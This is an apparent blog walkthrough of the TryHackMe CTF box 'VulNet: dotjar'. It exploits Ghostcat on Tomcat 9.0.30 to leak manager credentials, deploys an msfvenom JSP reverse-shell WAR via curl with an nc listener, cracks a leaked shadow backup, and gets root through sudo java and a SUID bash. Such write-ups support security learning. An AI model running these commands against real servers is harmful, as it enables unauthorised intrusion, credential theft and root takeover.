VulNet: dotjar

Ritam Dey
5 min readJun 13, 2021


“VulNet: dotjar” is a new CTF challenge hosted in TryHackMe created by TheCyb3rW0lf. It’s a pretty easy box and has got different ways to get root.

Scanning the box and Initial recon

First we need to discover what services are running and what ports are open. For that we can use nmap Aggressive scanning, that scans the first 1000 ports, scans for OS and service versions and performs a default script scan on the open ports

nmap -A

Result of the aggressive port scanning

From this scan we can see that Apache Tomcat 9.0.30 is running with an exposed Apache Jserv port. This version happens to be vulnerable to the Ghostcat vulnerability which is a LFI vulnerability which can be converted to RCE if application upload is possible Now let’s visit the site hosted using tomcat. It’s just the default site with the manager is avaliable to us.

Exploiting the vulnerability

Let’s fire up metasploit and we can find that auxiliary/admin/http/tomcat_ghostcat as a Ghostcat exploit. Let’s load it up

use auxiliary/admin/http/tomcat_ghostcat
set RPORT 8009

This will run the exploit and read the /WEB-INF/web.xml file, as a test for exploit sucess. Immediately we can see a internal notice for the company’s employees and along with that some credentials

Credentials and exploits from the ghostcat exploit

I don’t know what those credentials for, but since the only service is Apache Tomcat, we can check to see if it’s for the manager application. Now we need to remember apache tomcat has 2 types of manager interfaces avaliable:

  • /manager/html: A HTML based GUI for Tomcat manager. Visited the page, try to log-in and we’ll be blocked
  • /manager/text: A text based interface for Tomcat manager. Used curl --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE=" and voila we get the list of application.

Thus, this credentials is for the Tomcat text manager interface.

When using the Authorization: Basic header, i.e HTTP basic authentication, we need Base64 encode the credential string formatted as username:password

Gaining shell

Now that I’ve access to the manager interface, let’s upload and deploy a reverse shell application. First let’s open a listener using nc -lvvp 4444. This will recieve the reverse shell connection. Now, we can use msfvenom to generate the WAR file using

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your tun0 IP> LPORT=4444 -f war -o reverse.war`.

Let’s now deploy the reverse shell to the server. We can again use curl for this:

curl --upload-file reverse.war --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE=" ""

Verify if the application has been deployed using

curl --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE="

Now that I’ve the listener running and the reverse shell deployed at /reverse, I can get the initial shell by visiting the endpoint.

Horizontal Privilege Escalation and User flag

Now that I have a shell on the box, let’s see the user and the permission I’ve on the box.

Spawning the initial shell on the target

Now it’s time to enumerate the box and find the vulnerabilities. For this purpose I choose LinPEAS. It found a very interesting backup.

Hidden backup found by LinPEAS

Let’s unzip and see what’s in it. Copy the file /var/backups/shadow-backup-alt.gz into a temp directory and unzip it. And as I suspected from the name, it has a backup of /etc/shadow file.

Leaked backup of /etc/shadow file

Let’s crack the hashes. Since we have the hashes of the new user jdk-admin, copy it to a file in the attacking machine and let’s run hashcat (Since I’ve already cracked the hash, I don’t need to do it again)

Recovering the password using hashcat

And by that we’ve the password to login to jdk-admin and check out the new user’s groups.

Horizontal escalation to the jdk-admin user

Great now we have a user with sudo permissions and flag in /home/jdk-admin/user.txt

Gaining root access using Java

For this there are many way to get the root flag. Following are the methods I tried

Root reverse shell

To use this method first create a directory structure that matches the class name of the file. I choose com/reverse/command/ The compiled the class using javac com/reverse/command/ Since the sudo permission is only for JAR files, I created one using jar cfe Reverse.jar com.reverse.command.Main com/reverse/command/Main.class And by that we have the exploit jar file. Run it as sudo /usr/bin/java -jar Reverse.jar. This would read out the entire root flag for us.

The exploit code is as follows

Changing shell’s permission

This method is similar to the method described above with the difference being that I’m making the /bin/bash file a SUID binary. The JAR creation is exactly same and running the exploit is same too. The exploit code is given here

Now let’s compile and run the JAR and see if the /bin/bash permissions change or not

Running the SUID exploit code and checking if ran successfully or not

And yes it does. Now I’ll log into the root shell using bash -p and get the root flag

Running the SUID enabled bash executable to elevate permissions to root